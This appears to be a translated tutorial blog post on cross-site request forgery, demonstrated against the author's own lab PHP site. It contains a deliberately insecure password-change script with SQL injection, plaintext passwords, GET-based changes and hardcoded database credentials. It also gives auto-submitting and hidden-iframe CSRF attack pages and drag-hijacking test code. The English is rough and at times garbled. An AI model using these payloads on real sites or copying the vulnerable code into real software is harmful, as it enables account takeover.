0. Introduction
CRSF is built on top of a session, it sounds very much like cross-site scripting XSS attacks, but in fact completely different attacks. Before write XSS, I mentioned many sites use cookie to store user login information, such as last night after I finished using the CSDN, close the browser, turn off the computer, open CSDN today, though not fill in an account and password, will automatic landing.
So what CRSF can do it? A landing such as online banking, is preparing an operation, but an attacker to send him a link, when A click on this URL, own account a lot of money being transferred out to the attacker. This is because, when online banking or visit the Web site, the browser has been established and trusted node certified session, then within no time-out, any legal actions will be considered in the session.
1.CSRF Attacks
Before build on the site, create a new ChangePassword.php, to help users modify the account name and password:
<?php
$cookie = $_COOKIE['username'];
if (!isset($_COOKIE['username']))
{
echo 'Illegal login!<a href="login.php">please login</a>';
exit();
}
?>
<!DOCTYPE html>
<html lang='zh'>
<head>
<title>change password</title>
<meta charset="UTF-8">
</head>
<body>
<form name="input" action="ChangePwd.php" method="get">
密码 ：<br /><label>
<input type="password" name="password">
</label><br>
确认密码 ： <br /><label>
<input type="password" name="password_confirm">
</label> <br>
<input type="submit" value="确认">
</form>
</body>
</html>
ChangePwd.php to handle the event submission form:
<?php
$username = $_COOKIE['username'];
if (!isset($username))
{
echo 'Illegal operation<a href="login.php">please login</a>';
exit();
} else{
$password = $_GET['password'];
$password_confirm = $_GET['password_confirm'];
if ($password != $password_confirm){
echo 'Passwords entered twice are inconsistent<a href="ChangePassword.php">please retry</a>';
exit();
}
$conn = new mysqli("localhost","phpadmin", "ppzz4869","PHP");
if ($conn->connect_error){
die("connection fail" . $conn->connect_error);
}
$sql = "select * from user where name='$username'";
$res = $conn->query($sql);
if ($res->num_rows > 0){
$sql = "update user set psw='$password' where name='$username'";
$conn->query($sql) or die("fail!");
$conn->close();
echo "Password reset complete";
} else{
echo 'Illegal operation<a href="login.php">please login</a>';
exit();
}
}
Interface is as follows:
Suppose now that a user needs to change the password, after the user enters a password, the interface is as follows:
User A through observation or capture URL found that when modify the password, sends two parameters to the server,
password and a = password_confirm = a. So if you send this link to someone else, you can modify someone else's password. Thus, user A URL http://192.168.85.128/ChangePwd.php?password=aaa&password_confirm=aaa
sent to the user ADMIN, along with some of the induced opening the words. Because this site has a "stay logged in" setting, when the user clicks on this URL admin, I found his password has been changed.
If the admin and no problem was found, close the web page. The results of the next landing site, found his account password has been changed, simply because clicking a URL!
And send the link the user A, you can easily be modified to use a password to login.
2.CSRF attack scenarios (POST)
The method is demonstrated above CSRF attacks through GET, however, POST method parameters will not be displayed in the URL, whether there CSRF it?
We will modify the page before the password replacement method get post method, this time found that when you modify the password, the parameters have not displayed in the URL of.
For attackers, the packet will be sent to see, to determine the interactions between server and modify the password.
Analysis found that, when clicked to change the password to confirm, through POST pass two parameters, password and password_confirm. Then the attacker can create a page like this, and on the attacker's own Web site http://192.168.85.129/dvwa/hackable/uploads/CRSF.html:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>post data</title>
</head>
<body>
<form id="myform" method="post" action="http://192.168.85.128/ChangePwd.php">
<input type="hidden" name="password" value="aaa">
<input type="hidden" name="password_confirm" value="aaa">
</form>
<script type="application/javascript">
var myform = document.getElementById("myform");
myform.submit();
</script>
</body>
</html>
The above code, a constructed form, then submit the form automatically using javascript.
When the user clicks on this link, you will find automatically jump to the interface to modify the password to complete the CSRF attack:
So for CSRF it, POST and GET request is no different, just more than a POST request some code.
3. quiet CSRF
However, such a jump would clearly be perceived by the attacker, the attacker's code is perfect, quietly submitted data:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>post data</title>
</head>
<body>
<iframe frameborder="0" name="myifram" width="0px" height="0px"></iframe>
<form id="myform" method="post" target="myifram" action="http://192.168.85.128/ChangePwd.php">
<input type="hidden" name="password" value="aaa">
<input type="hidden" name="password_confirm" value="aaa">
</form>
<script type="application/javascript">
var myform = document.getElementById("myform");
myform.submit();
</script>
</body>
</html>
This piece of code is improved, the requested URL is opened in <ifram> in, however ifram was hidden, so the page will not be any change
but the password has been changed
4. Drag hijacking
BlackHat 2010, the General Assembly, mentioned some of the safety issues of a "browser drag event" caused. Many browsers implement a drag and drop interface, you can put a picture or web page text can be dragged to another page, and this will not be dragging and restrict same-origin policy. Because the attacker could entice a user, from a number of invisible iframe drag out some of the information to steal data.
However, in my actual test, I do not know this kind of problem has been fixed or my operation in question, who would like to see this article can help me correct.
In my own tests found that the current problems dragging the browser and browser related, and almost blocked one page, non-homologous drag problem.
Test code is as follows:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script>
function Init() {
const source = document.getElementById("source");
const target = document.getElementById("target");
if (source.addEventListener){
target.addEventListener("drop",DumpInfo);
} else {
target.attachEvent("ondrop", DumpInfo);
}
}
function DumpInfo(event) {
const info = document.getElementById("info");
info.innerHTML += "<span style='color:#3355cc;font-size:13px'>" + event.dataTransfer.getData('Text') + "</span><br> ";
}
</script>
</head>
<body onload="Init()">
<div id="source">
<iframe id="iframe_1" src="http://192.168.85.129/dvwa/">
</iframe>
</div>
<div>
<textarea id="target"></textarea>
</div>
<div id="info" style="position:absolute;background-color:#e0e0e0;font-weight:bold; top:600px;">
</div>
</body>
</html>
In the above code, the establishment of an iframe, wherein the opening in http://192.168.85.129/dvwa/. And the establishment of a testarea, listens drop event, if there is something being dragged on the testarea, it will be displayed in the info below.
In chrome browser and IE, the drag operation is not performed, the drag enter testarea, nothing happens.
The information is Firefox will drag search by using the default search engine
and then I tried to open the homologous iframe page, modify test.html:
<div id="source">
<iframe id="iframe_1" src="http://192.168.85.128">
</iframe>
</div>
At this point, no matter ie, chrome or Firefox browsers can be a drag operation.
Corollary experimental phenomena: the current browser drag, no limit on the homology content, but the content of the non-homologous restrictions do it?
I hope the wrong place can be corrected.
